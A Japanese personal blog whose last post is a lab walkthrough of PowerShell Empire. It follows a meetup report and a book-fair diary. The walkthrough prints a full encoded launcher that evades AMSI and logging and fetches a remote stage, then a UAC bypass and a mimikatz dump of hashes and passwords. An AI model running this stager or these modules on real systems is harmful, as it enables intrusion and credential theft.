Security JAWS 参加記

今更なんだが参加記を残しておくことにしました。

全体的な感想

初のSecurity JAWS参加でしたがとても楽しめました。

全体的な満足度は高めです。次回もぜひ参加したいと思っています。

Amazon Cloud watch logs insight by Nakashima Tomohiro

お話の流れとしては下記の3点

  • ログ調査について
  • Cloud watch insightの特徴と導入のメリット
  • 操作方法の理解

ログ調査について

背景:脆弱性をついた通信やブラックリストの通信判定等するためにもログ調査は必要

→ログ調査として何を使うのか

問題点

  • ログの配置:集約、保存をどうするのか
  • ログ管理のコストや手間
  • どんなログデータを残すのか

Cloud watch insight

Cloud watchに蓄積されたログを検索して分析するツール

→オンプレミスのログもcloud watchに蓄積することで分析可能

利点

  • 簡単で強力
  • 従量課金
  • 高速、すけらーぶる
  • フルマネージド

操作方法の理解

手順は以下のように

  1. ロググループの選択
  2. 分析の期間の選択
  3. クエリを記述

クエリについて

クエリコマンドは6つ(FIELDS,PARSE,FILTER,STATS,SORT,LIMIT)

  • ログのフィルタ、統計、ソートが可能
  • パイプラインでつなげてシェルスクリプトのように記述可能
  • クエリの保存ができてダッシュボードに登録し、いつでも呼び出せる

簡単にできるが売り!!

大体$500以下にはなるらしい

感想

デモって使いやすいイメージを与えてくれます。

アカウント認証基盤の外部攻撃 WAF防御な事例 by Onodera Tsuyoshi

SonyAccountの基盤に対してDevOpsチームがどのように攻撃対応してきたかの事例

DevSecOpsチーム

DevOpsが定着しており、Security関連タスクの自動化にも取り組んでいる

アカウント認証基盤を構築するにあたって、セキュリティへのアクションが重要となりシフトレフトの方向性に移った

やれるところからの自動化、DevOpsの文化が根付いていたので進みやすい

攻撃の対応としてWAFを採用、発生する攻撃に対して優先度をつけ、その時その時で柔軟に入れ替えて運用

→ アクセスログとアプリケーションログをSQLで解析する仕組みが活躍

攻撃と対応

  1. 国外リクエス
  2. Cloud frontよりもデプロイがはやいWAFでの対応を選択、恒久対応までの時間確保ができた
  3. プロトコル別リクエスト(古いTLSアクセス)
  4. TLSバージョンアップ
  5. IPアドレスの単位のリクエス
  6. AutoBlockをLambdaで適用

WAFにはマネージドルールがさまざまあり、使用が即決できる価格帯なためマッチできるものを使い変更していく方式がよい OWASP10のルールもある

ベストプラクティスをカバーしつつ、特融の攻撃に対して対応できるようなWAF運用を行う 新しいルールを試すカウント枠も確保するといい

感想

これがシフトレフト、セキュリティバイデザインの一つのモデルケースであると感じ、とても感動しました。

これが日本中のすべてのSIerができるようになればいいのに

当局と求められる対応のトレンド -AWS評価パッケージのご紹介- by Jomura Yoshiharu

www.slideshare.net

内容はスライドの通りの内容なのである程度省きます。

  • 現状のセキュリティ関係の動向(政府統一基準,FISC等の動き)
  • AWSに関する評価パッケージの紹介

感想

セキュリティ関係の動向は私が認識している状況と変化はないので私にとって新しいインプットではなかったですが、現状の自分の頭の整理になりました。 AWSに関する評価パッケージの紹介の部分では私が聞き漏らしていたかもしれないのですが、差異化が欲しかったなぁと思い返しています。

簡単に始めるAWS基盤のセキュリティ分析~Sumo Logic~ by Usuda Keisuke

speakerdeck.com

SaaSベースのログ分析基盤であるSumoLogicの紹介とデモ

感想

プレゼンがうまかったです。やはりデモがあると使用したときのイメージが付きやすいのでいいですね

AWS SecurityとOffice Of the CISOの概要 by Mark Ryland, Director, Office of the CISO

お客様の意見を取り込み新たなサービスを作るために、Office Of Seesawがある!

英語聞くことに夢中になったためメモがほぼなし.....

感想

AWSってベンチャーなみの意見の取り込みと発展をとげていることを目の当たりにしてこれは強いと感じました。

技術書典5参加してきたよ Alice's Atelier け25

はじめに

技術書典に初めてサークル参加した記録です。 備忘録かつ技術書典に出展したいなぁと考えてる人の助けになればと思い、申込から本番まで書いていこうかなと思います。 覚えてたことをざーっと書くので文章の乱れは見逃してください。

参加申し込み

6月25日

とりあえず、会社の身内なりに技術書典5に出さない~?みたいなこと言ったらそこそこ好反響だったので申し込みを決める。

まずはサークル名とサークルカットを考えることにした。

7月1日くらい

サークル名は情報界隈でよくあるAliceとBobの通信関連の話からAliceという言葉を使おう、あとはいろんな人が集まるからラボとか団とかなんやらつければいいかなってところで、その時点でとてもはまっていたリディーとスールのアトリエから「アトリエ」にしよと思い立ち決定

サークル名:「Alice's Atelier」

www.gamecity.ne.jp

じゃあサークルカットは女の子やなということで書き始め

7月12日

あんまり覚えてないけど1週間前くらいに絵も完成したことだしとりあえず申し込み~って思って申し込んだ

f:id:kataware8136:20181009211659p:plain

あとは神のみぞ知る~という感じ

8月1日

当落発表日、サークル数増加してるけど仕事終わりに酒飲んでたらサークル発表来るでしょと思ってがーでんに向かう

matsuri-kf-garden.jp

お酒飲んだり、射的したりしながら待ってたが19~21時で当落発表は来ず.....

運営様お疲れ様ですと思い、帰路に

そろそろ寝るかなとか思ってたら10時頃に当落発表 、即入金しました

執筆

執筆メンバー募集、執筆環境まで(8/9くらい)

最悪一人サークルも考えて、呼びかけ(一人は完全にあてにしてた)

好評だったが執筆者は全然集まらなかった、一回きりで終わりたくなかったので手伝いさん(絵描き要因+レビュアー)含め募集した。

執筆者2名と編集2名という構成になった、集まったのでslackを立ち上げた。

まずは締め切りを決めるということで8/9時点で9/16あたりを一時締め切りとしましょうという感じにした。

執筆環境はre:viewがよさそうということで採用!

github.com

サークル配置決定(8/17)

運営から連絡がきて「け25」になった。

表紙のことを相談したらメンバーの一人が描いてくださることになったので、後輩に頼らなくてよくなって一安心

ここあたりから執筆を始める。

一般用の告知を始める(9/10)

遅かったがここあたりでそろそろ一般向けの情報として目次を作ろうということになり、目次を作成して先に公開、

ここであげた目次と大幅に変わった私、執筆してたら乗りに乗ってきてどんどん増えた。

本のタイトルを決める(9/24)

本のタイトルをAlice' Atelier1でいっかと置いておいたら、カッコ悪いと指摘を受ける。

オペラで第一幕をFirst Actとするので Alice's Atelier -First Act-に決定する

入稿関連+準備(9月の間)

直接搬入してもらえる、日光企画かねこのしっぽに入稿しようと考える。

部数をそんなにする気がなかったのでねこのしっぽに決定。日光企画は最低50部からだった。

まぁ40部売れればよいっしょとか思ってた。

編集さんに進捗管理してもらいつつ、執筆を進める。

なんか早めに出来上がって10%割引で入稿できそうだったのでデジタル入稿しようとする。

デジタル入稿のつまづき

コミュ障なのでデジタル入稿しようと思っていたが、紙の種類?表紙の紙の種類?オンデマンドとオフセットの違い?? みたいな感じで???しか浮かばなかったので直接店舗へ

直接入稿:9/28

直接入稿しにいってわからないこと全部教えてもらった。丁寧な人でとてもありがたかった。

しかしpdfをa4で作ってたりしたので再入稿という形に、

まぁ1日でできそうな修正だったので、喫茶店によって活動してた。

サークルメンバーに教えてもらったおしゃれなカフェでコーヒーをたしなみつつ活動

www.nappa69.com

当日中にa5サイズに修正しておしまい。

再入稿はグーグルドライブなりドロップボックスなりpdfを渡せればよいという感じだったのでその通りに対応。

準備(10/6,7)

  • 前日に500円玉の両替をすることを忘れる。
  • 趣味用名刺を作り忘れる。
  • 電子版用意してない。

などがばがばだったが500円玉は10枚くらい創出。名刺はスルー。電子版は適当に対処してダウンロードカード作成して対処とかそんな感じでなんとかした。

チェックリストが入稿時24だったのが直前には42とかなってて、40部しか作ってない!!電子版じゃとなって焦ってた。

意外と伸びるんですね.......

前日には100均Seriaで1000円くらい使って、テーブルクロス、イーゼル、簡易カード、マスキングテープ、スケッチブック、滑り止め等を購入する。

本番

にどぅーねの魔力にあらがえず寝坊する。

f:id:kataware8136:20181009215905j:plain

9時には起きたので、サークル準備期間内では入れそうなので安心する。

電車で確認したらチェックリスト50超えてた

サークル準備(10:20)

私が到着したが、もう一人のサークルメンバーが到着している。

隣がハニポで有名な@morihi_socさんだったことに来てから気づく。あれぇ、私サークルチェックリストに入れてたのに何で気づかない???

morihi-soc (@morihi_soc) | Twitter

IoTSecJPの話最高でした。みたいなことをお伝えしつつ準備

頒布開始(11時)

まぁのんびりやろうなと思ってたら、いきなり購入者が現れる。感激

お隣がmorihi_socさんなのもあって私のとこも人気に見える!!!!

実際ちょっと面白そうって感じで手に取ってもらって買っていただける人もいてうれしかったです。

私のところは12時半で完売しました。

その後もちょくちょくダウンロードカード購入してもらいました。正直本がなかったから人が来なかったのか、それとももうめぼしい人は来てしまったのかがいまいちわかんない。もっと魅力的な本作りたいな。

戦利品

複数メンバーいたので交代してもらって私自身も買うことができました。

f:id:kataware8136:20181009220212j:plain

写真以外にもC++でOS本やDIY本、セキュア旅団の本を買いました。とってもお得なイベントそれが技術書典

反省

  • 紙の本があれば買ってくれそうな人がいた。

余ってもいいから部数刷っていい感じはあります。なんだかんだ委託もできるってこともでかいですね。

  • QRコード決済対応しとけばよかった
  • 見本誌1冊だったので、ipadとかでも読めるようにしとくとよかった。
  • 早めに執筆しような(当落見る前に執筆始めたほうが心にゆとりがあるし宣伝に力をいれられる)

良かった点

  • 大学時代の友人に会えた!!!!!
  • 人にわかるように考えて書くっていうのはいい勉強になる
  • 楽しい分野の本いっぱい買えてとってもお得!!技術書典神!!(パトロンはきつかったので技術季報購入で許して.....)

今後に向けて

今回編集だったメンバーも書きたいって言ってくれてるのでボリュームアップしたものをかけそうで次が楽しみです。 私はリゼ先輩と学ぶペネトレーションテストってネタか世界のセキュリティ規格みたいな話で書くと思います。 次も当選できるといいなって感じで今回は締め

PowerShell Empireを使う

はじめに

PowerShell Empireというペネトレーション用のツールがあります。今回はそれを使ってみましたという記事内容です。

当然ですが、自分のローカル環境以外で試してはいけません。試すときもインターネットから切り離して行うようにするとよいでしょう。またこれを公開されているサーバに実行した際に発生したすべての物事、事象に対してブログ主は一切の責任を負いません。

今回の目的ですが、ドメイン環境下のPCで別のPCに移動してみようと思います。これにはinvoke_smbexecを利用します。

環境構築

Windows Server 2012 R2の用意

以下の一連のコマンドをたたいて環境構築する。Active Directoryを入れると再起動する点だけ注意。

# Active Directoryの機能追加
Get-WindowsFeature AD-Domain-Services | Install-WindowsFeature
Import-Module ADDSDeployment
# Domain Controller構築
mkdir C:\NTDS
mkdir C:\SYSVOL

Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\NTDS" `
-DomainMode "Win2012R2" `
-DomainName "pentest.local" `
-DomainNetbiosName "PENTEST" `
-ForestMode "Win2012R2" `
-InstallDns:$true `
-LogPath "C:\NTDS" `
-NoRebootOnCompletion:$false `
-SysvolPath "C:\SYSVOL" `
-Force:$true
# 再起動が入ります
# ユーザ作成
$password = ConvertTo-SecureString -AsplainText "Vict1m3" -Force
New-ADUser -Name user -DisplayName user -ChangePasswordAtLogon $false -CannotChangePassword $true -Enabled $true -AccountPassword $password
# Domain Adminsに追加
Add-ADGroupMember -Identity "Domain Admins" -Member user

これでDomain Adminsのuserを作成したActive Directory環境を作成できました。次にWin7ドメイン参加します。

Win7の用意

ドメイン参加

コントロールパネルから「システムとセキュリティ」→「システム」に移動します。するとドメインおよびワークグループの変更という部分があるのでここで変更を行います。ドメイン名は「PENTEST」と入力するとユーザ名とパスワードを求められるのでWin2012を用意した際に作成したユーザ名「user」、パスワード「Emp1r3」を入力してドメイン参加します。ここで失敗する場合はuserがDomain Adminsグループに参加していない可能性があります。

ドメインのユーザにローカルコンピュータの管理者権限を与える

Windowsキー」+「R」でプログラム名を指定して実行から「lusrmgr.msc」を実行します。ここでグループのAdministratorsグループにドメインユーザである「user」を追加します。

Kali Linuxの用意

Empireのインストール

以下のコマンドを実行してEmpireをインストールします

# apt-get upgrade
# git clone https://github.com/EmpireProject/Empire.git
# cd Empire/setup
# ./install.sh

Empireを利用する

Win7でRATを実行し、Empireで待ち受ける

Empireを利用する環境が整ったので利用していきます。

# cd ../
# ./empire
================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

Empireを起動するとこのような画面が出ると思います。ここからWin7でRATを動かしてそれをこのEmpireで待ち受けます

Empireで待ち受けるlistenerを作成し、起動。その後Empireで待ち受けるようのRATプログラムを作成します。

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

ここまでの一連のコマンドで待ち受けるlistenerが作成され、待ち受ける準備が整います。次にRATプログラムを作成します。

(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAFIAcwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAcwBTAEUAbQBiAGwAeQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUAKAAkAG4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUATgBFAHIASQBjAC4ARABJAGMAVABJAE8AbgBBAHIAeQBbAHMAdAByAEkAbgBnACwAUwB5AFMAdABFAG0ALgBPAEIASgBlAEMAdABdAF0AOgA6AG4AZQBXACgAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAEIATABvAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAEwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBlACgAJABOAFUAbABMACwAKABOAGUAVwAtAE8AQgBqAGUAQwBUACAAQwBPAEwAbABlAEMAdABJAE8ATgBTAC4ARwBFAE4ARQBSAGkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAeQAuAEcARQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBpAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgB1AEUAKQB9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAFYAaQBDAEUAUABPAEkAbgB0AE0AYQBuAGEAZwBFAHIAXQA6ADoARQBYAFAAZQBjAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAdwBjAD0ATgBFAHcALQBPAEIASgBlAEMAVAAgAFMAWQBTAHQAZQBtAC4ATgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgAZQBBAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAUgBvAHgAeQA9AFsAUwBZAFMAVABFAG0ALgBOAEUAVAAuAFcAZQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAGYAYQB1AGwAVABXAGUAYgBQAFIATwBYAHkAOwAkAHcAQwAuAFAAcgBPAHgAeQAuAEMAUgBlAGQAZQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAWQBTAHQARQBtAC4ATgBFAFQALgBDAFIAZQBkAGUATgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4AZQB0AFcAbwByAEsAQwBSAEUARABlAE4AVABJAEEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AGUAUwAoACcAMABkADMAOAA0AGYANAAyAGMAYwA5ADUAZgA4ADIAYwBjADQAMgA1AGEAMwAwADAAOAAzADEAYwAwADIAMQAwACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgAuADMAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAEEARABFAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBYAEQAbgB5AHQAKwBaAEsATgAzAEgAcABnAEwAYgBVAHoAMABxAGEAaABsAFQAVwBtAFkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAFcAQwAuAEQAbwB3AG4AbABPAGEAZABEAGEAVABBACgAJABzAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAGEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAGQAYQB0AEEALgBMAEUAbgBHAHQASABdADsALQBKAG8AaQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
(Empire: listeners/http) >

powershellの文字からの一連のスクリプトがRATとなります。これをコピーしWin7Powershellで実行します。ちなみにlauncher pythonとするとpython用のプログラムが出力されます。

Win7で実行した後、少し待つとKali Linuxの方で下のような出力がされているはずです。されていない場合はネットワーク周りの設定を見直してください。(pingが届くかとか) ここでagentが確立されます。このagentsを用いるとコマンドの実行等ができますが、それは今回の主題ではないのでパスします。

[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent HLV5ZS3G checked in
[+] Initial agent HLV5ZS3G from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to HLV5ZS3G at 192.168.12.10

(Empire: listeners/http) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 HLV5ZS3G ps 192.168.12.10   VICTIM            PENTEST\user            powershell         1644   5/0.0    2018-08-17 15:00:09

(Empire: agents) > interact HLV5ZS3G

interact ***とすることで確立した通信に対して割り込むことが可能となります(この認識で正しいのか不明)

パスワードハッシュを入手する(bypassuacを利用した権限昇格)

ここからinvoke_smbexecを利用するためにパスワードハッシュを入手します。それにはmimikatzというツールを利用するのですが、mimikatzというツールを利用するためには管理者権限が必要となるので、まずは権限を昇格します。

権限を昇格するためにはprivesc/bypassuacというモジュールを利用します。

(Empire: HLV5ZS3G) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > info

              Name: Invoke-BypassUAC
            Module: powershell/privesc/bypassuac
        NeedsAdmin: False
         OpsecSafe: False
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  Leo Davidson
  @meatballs__
  @TheColonial
  @mattifestation
  @harmyj0y
  @sixdub

Description:
  Runs a BypassUAC attack to escape from a medium integrity
  process to a high integrity process. This attack was
  originally discovered by Leo Davidson. Empire uses
  components of MSF's bypassuac injection implementation as
  well as an adapted version of PowerSploit's Invoke--
  Shellcode.ps1 script for backend lifting.

Comments:
  https://github.com/mattifestation/PowerSploit/blob/master/Co
  deExecution/Invoke--Shellcode.ps1 https://github.com/rapid7
  /metasploit-framework/blob/master/modules/exploits/windows/l
  ocal/bypassuac_injection.rb https://github.com/rapid7
  /metasploit-framework/tree/master/external/source/exploits/b
  ypassuac_injection/dll/src http://www.pretentiousname.com/

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   True                                  Listener to use.                        
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).      
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).                              
  Agent      True        HLV5ZS3G                  Agent to run module on.                 
  ProxyCreds False       default                   Proxy credentials                       
                                                   ([domain\]username:password) to use for 
                                                   request (default, none, or other).      

(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked HLV5ZS3G to run TASK_CMD_JOB
[*] Agent HLV5ZS3G tasked with task ID 1
[*] Tasked agent HLV5ZS3G to run module powershell/privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > [*] Agent HLV5ZS3G returned results.
Job started: 2Y7F9M
[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent 85VHTSNY checked in
[+] Initial agent 85VHTSNY from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to 85VHTSNY at 192.168.12.10

moduleの使い方ですが、usemodule <モジュール名>と打つことでモジュールを利用するモードに移行します。

ここでinfoと打つことでモジュールに必要な情報を得ることができます。Trueと表示されているものはモジュールを実行するのに必須なオプション、Falseは埋めなくても実行可能です。実行可能ですが成功するかどうかはわかりません。Trueと表示されているものは実行しようとしても埋まっていないということで実行できません。

bypassuacListenerTrueとなっているので、設定する必要があります。今回はhttpというListener名としているのでset Listener httpと設定してexecuteをすることで実行します。

実行した結果新たな接続が確立されます。

パスワードハッシュを入手する(mimikatzを使う)

前回で権限昇格した接続が確立されたのでmimikatzを使っていきます。

(Empire: powershell/privesc/bypassuac) > interact 85VHTSNY
(Empire: 85VHTSNY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_JOB
[*] Agent 85VHTSNY tasked with task ID 1
[*] Tasked agent 85VHTSNY to run module powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) > [*] Agent 85VHTSNY returned results.
Job started: SKHF3V
[*] Valid results returned by 192.168.12.10
[*] Agent 85VHTSNY returned results.
Hostname: victim.pentest.local / S-1-5-21-2313106677-264397757-2816267570

  .#####.   mimikatz 2.1.1 (x86) built on Nov 12 2017 15:43:57
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 93788 (00000000:00016e5c)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 93757 (00000000:00016e3d)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-19
    msv :   
    tspkg : 
    wdigest :   
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :  
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :   
    credman :   

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-20
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

